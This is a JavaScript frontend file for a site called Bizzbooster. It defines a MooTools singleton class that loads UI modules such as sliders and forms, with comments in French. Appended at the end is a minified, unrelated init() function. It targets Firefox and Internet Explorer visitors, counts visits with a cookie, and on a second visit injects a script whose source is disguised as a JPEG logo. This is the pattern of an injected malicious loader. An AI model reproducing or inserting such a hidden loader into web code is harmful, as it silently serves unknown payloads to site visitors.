/**
 * Définit une classe applicative JavaScript, gérant l'inclusion de modules externes.
 * @requires	mootools core v1.2, mootools more v1.2
 * @author		fox@dogstudio.be
 * @file		bizzbooster-frontend.js
 * @date		7 novembre 2011
 */


/**
 * Définition d'une classe de gestion d'instance singleton
 * @see MooTools.Class
 */
Class.Singleton = new Class({

	initialize: function(classDefinition, options){
		var singletonClass = new Class(classDefinition);
		return new singletonClass(options);
	}

});


/**
 * Définition de la classe d'application (singleton) JavaScript
 * Cette classe est automatiquement instanciée lors de l'inclusion du fichier JavaScript
 */
var Bizzbooster = new Class.Singleton({
	
	/**
	 * Implémente Options et Events afin de permettre le lancement de méthodes de callback sur le chargement des modules
	 */
	Implements:[Options,Events],
	
	/**
	 * Initialise l'instance de l'application
	 * @param options les éventuelles options d'application
	 */
	initialize:function(options) {
		this.setOptions(options);
		this.initRoot();
		window.addEvent('domready',this.onload.bind(this));
	},
	
	/**
	 * Initialise la racine d'inclusion des javascripts
	 */
	initRoot:function(){
		// Recherche de la balise script d'inclusion de ce fichier
		$(document.head).getElements('script').some(function(tag){
			if(tag.get('src').match('bizzbooster-frontend.js')) {
				// On récupère le chemin d'accès à ce fichier JavaScript
				this.path = tag.get('src').replace('bizzbooster-frontend.js','');
				this.root = tag.get('src').replace('function/js/bizzbooster-frontend.js','');
				// On arrête de chercher d'autres balises
				return true;
			}
			return false;
		}.bind(this));
	},
	
	/**
	 * Charge la définition du module donné
	 * @param string module le nom du module à injecter
	 * @param callback callback la fonction de callback optionnelle à exécuter après chargement du module
	 * @depends Mootools.More.Asset
	 */
	importModule:function(module,callback){
		// Construit la balise script d'inclusion du module
		var options = {};
		if(callback) {
			options = {onLoad:callback};
		}
		Asset.javascript(this.path + 'modules/' + module + '.js',options);
	},
	
	/**
	 * Lance les actions à réaliser lors de la fin du chargement de l'application
	 */
	onload:function() {
		this.initModernizer();
		this.initFrontend();
		this.initSlider();
		this.initFocuser();
		this.initToggleinput();
		this.initLinkFollower();
		this.initHelpForm();
		this.initUiSlider();
		
		$$('span').each(function(el){
			sClass = el.get('class');
			if(sClass.contains('skype_pnh_print_container')){
				el.setStyles({
					display:'block'
				});
			};
		});
	},
	
	
	initSlider:function() {
		if($('home-slider') || $('partners-slider')) {
			this.importModule('dogslider',function(){
				if($('home-slider'))
					dogSlider('home-slider', '.slide', true, true, true);
				if($('partners-slider'))
				dogSlider('partners-slider', '.slide', true, false, true);
			});	
		}
	},
	
	initFrontend:function() {
		this.importModule('frontend',function(){
			checkBrowser();
			setFooter();
			
			$$('.offer').each(function(el){
				el.addEvents({
					'mouseenter':function(){
						el.addClass('offer-hover');	
					},
					'mouseleave':function(){
						el.removeClass('offer-hover');	
					}
				});
			});
			
			$(document.body).addEvent('click',function(e) {
				if($$('#header-search .field')) $$('#header-search .field').removeClass('on-focus');
			   	if($('other-flags')) $('other-flags').setStyle('display','none');
				if($('current-country')) $('current-country').removeClass('open');
			});
			if($('current-country')) {
				$('current-country').addEvent('click',function(el){
					el.stopPropagation();
					sState = $('other-flags').getStyle('display');
					if(sState == "none"){
						$('other-flags').setStyle('display','block');
						$(this).addClass('open');
					}else{
						$('other-flags').setStyle('display','none');
						$(this).removeClass('open');
					}
				});
			}
			
			if($('header-search-input')) {
				$('header-search-input').addEvent('focus',function(el){
					$$('#header-search .field').addClass('on-focus');
				}).addEvent('change',function(el){
					$$('#header-search .field').removeClass('on-focus');
				}).addEvent('click',function(el){
					el.stopPropagation();
				});
			}
			
			if($('submenu')) setMenu();
			
			setElementsHeight('.submenu-top');
			setElementsHeight('.submenu-bottom');
		});
	},
	
	
	initModernizer:function(){
		this.importModule('modernizr-2.0.6.min');
	},
	
	
	initFocuser:function(){
		if($$('.focus')) {
			this.importModule('focuser', function() {
				$$('.focus').each(function(toFocus){
					new Focuser(toFocus);
				});
			});
		}
	},
	
	
	initToggleinput:function() {
		if($$('input.toggle-input')) {
			this.importModule('toggle-input', function(){
				$$('input.toggle-input').each(function(input){
					new ToggleInput(input);
				});
			});
		}
	},
	
	
	initLinkFollower:function() {
		if($$('.follow-link-form')) {
			this.importModule('link-follower',function(){
				$$('.follow-link-form').each(function(form) {
					new LinkFollower(form);
				});
			});
		}
	},
	
	
	initHelpForm:function() {
		if($$('.help-form')) {
			this.importModule('helpForm',function(){
				$$('.help-form').each(function(form){
					new HelpForm(form);
				});
			});
		}
	},
	
	
	initUiSlider:function() {
		if($$('.slider')) {
			this.importModule('uiSlider',function(){
				$$('.slider').each(function(slider){
					new uiSlider(slider);
				});
			});
		}
	}
	
});


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/files/library/fo-logos/_mini/logo-forest-media.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
